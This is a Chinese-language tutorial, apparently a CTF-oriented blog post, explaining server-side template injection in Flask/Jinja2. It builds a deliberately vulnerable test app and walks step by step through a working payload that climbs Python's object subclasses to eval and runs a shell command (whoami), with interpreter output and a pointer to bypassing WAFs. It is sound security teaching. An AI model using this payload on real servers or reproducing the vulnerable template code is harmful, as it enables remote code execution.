SSTI 简单总结
SSTI(Server-Side TemplateInjection)
SSTI(Server-Side TemplateInjection)服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的。此种类型漏洞虽然多次在CTF中,以Python语言为载体出现,但是这并不是Python模板引擎独有的漏洞。
值得注意的是:
凡是使用模板的地方都可能会出现SSTI的问题,SSTI不属于任何一种语言。
以下内容,以Python的模板引擎Jinja2为例
Jinja2
Jinja2 是一个 Python 的功能齐全的模板引擎。它有完整的 unicode 支持,一个可选 的集成沙箱执行环境,被广泛使用,以 BSD 许可证授权。
官方中文文档:http://docs.jinkan.org/docs/jinja2/
官方文档中,以下两句便指出了可能出现的漏洞点:
模板包含 变量 或 表达式 ,这两者在模板求值的时候会被替换为值。
#也就是以下两种写法
{% ... %} # 控制结构
{{ ... }} # 变量取值
搭建测试环境
from flask import Flask,request
from jinja2 import Template
import os
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'Tom')
t = Template("Hello " + name)
return t.render()
if __name__ == '__main__':
app.run(host='127.0.0.1',port='8888')
启动服务器,并在浏览器中访问:http://127.0.0.1:8888/
分析
网上有很多payload,这里以一个常规的payload讲解。
{%for c in [].__class__.__base__.__subclasses__()%}
{% if c.__name__=='catch_warnings' %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
{%endif%}
{%endfor%}
__class__
__class__是类的一个内置属性,也是每个类实例的,它是一个类的引用。
>>> [].__class__
<class 'list'>
__base__
__base__返回类的直接基类。在其他payload也有__bases__,__mro__,执行一下,可以看出其中的不同,但我们构造payload的目的是拿到<class 'object'>,为什么是<class 'object'>呢?
>>> [].__class__.__mro__
(<class 'list'>, <class 'object'>)
>>> [].__class__.__base__
<class 'object'>
>>> [].__class__.__bases__
(<class 'object'>,)
__subclasses__
每个类会保存由对其直接子类的弱引用组成的列表。 此方法将返回一个由仍然存在的所有此类引用组成的列表。通俗的讲,就是返回该类的子类列表。
所以,当我们拿到<class 'object'>时,便可以获得object类的子类列表
>>> [].__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>,...]
但是 payload为什么从object子类中找到catch_warnings类呢?
{% if c.__name__=='catch_warnings' %}
我们随便选择object两个子类来比较
>>> [].__class__.__base__.__subclasses__()[22].__name__
'complex'
>>> [].__class__.__base__.__subclasses__()[22].__init__
<slot wrapper '__init__' of 'object' objects>
>>> [].__class__.__base__.__subclasses__()[130].__name__
'_Printer'
>>> [].__class__.__base__.__subclasses__()[130].__init__
<function _Printer.__init__ at 0x0000020BFF695318>
complex这个类使用"__init__"初始化时可以看到一个wrapper,而wrapper是指这些函数并没有被重载,这时他们并不是function,不具有"__globals__"属性。而"_Printer"则具有"__globals__"。
>>> [].__class__.__base__.__subclasses__()[130].__init__.__globals__
{'__name__': '_sitebuiltins', '__doc__': '\nThe objects used by the site module to add custom builtins.\n', '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x0000020BFF687EC8>, '__spec__': ModuleSpec(name='_sitebuiltins', loader=<_frozen_importlib_external.SourceFileLoader object at 0x0000020BFF687EC8>, origin='C:\\Users\\wyj\\AppData\\Local\\Programs\\Python\\Python37\\lib\\_sitebuiltins.py'), '__file__': 'C:\\Users\\wyj\\AppData\\Local\\Programs\\Python\\Python37\\lib\\_sitebuiltins.py', '__cached__': 'C:\\Users\\wyj\\AppData\\Local\\Programs\\Python\\Python37\\lib\\__pycache__\\_sitebuiltins.cpython-37.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function
compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>....
在__globals__的属性__builtins__里面发现了很多函数,例如:dir、eval等等。所以要找catch_warnings这个类,因为这个类就是被重载过的。当然也可以不用catch_warnings这个类,也可以用其他的类,例如_Printer类,反正只要能找到可利用的函数即可。
所以当我们执行下面这句代码时
{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
便相当于得到一个shell
>>> [].__class__.__base__.__subclasses__()[130].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
'desktop-ha50nan\\wyj\n'
回到测试环境上,输入payload
payload
也可以输入我们构造的那个payload
payload注入漏洞检测工具
自动检测和发掘服务器端模板的注入漏洞,支持很多模板引擎。
https://github.com/epinna/tplmap
需要注意:
本次简单总结,只是为了更好的入门理解ssti,在实际情况下,不同环境下的python环境不同,需要根据实际情况来选择object的子类;在CTF中会设置WAF,所以需要对payload进行修改来绕过WAF。在实际情况和CTF中不一定是Python语言和Jinja2框架,可能会是其他的语言和模板框架。所以遇到ssti的难题,更多的是去查找对应语言一些用法来绕过WAF并构造payload。
参考:
https://www.cnblogs.com/-chenxs/p/11971164.html
https://drops.org.cn/Python/flask-jinja2-ssti.html
https://www.anquanke.com/post/id/188172#h3-3
https://www.ebounce.cn/web/19.html
https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI
文章中如果有什么不足,理解不对的地方还请师傅们指教。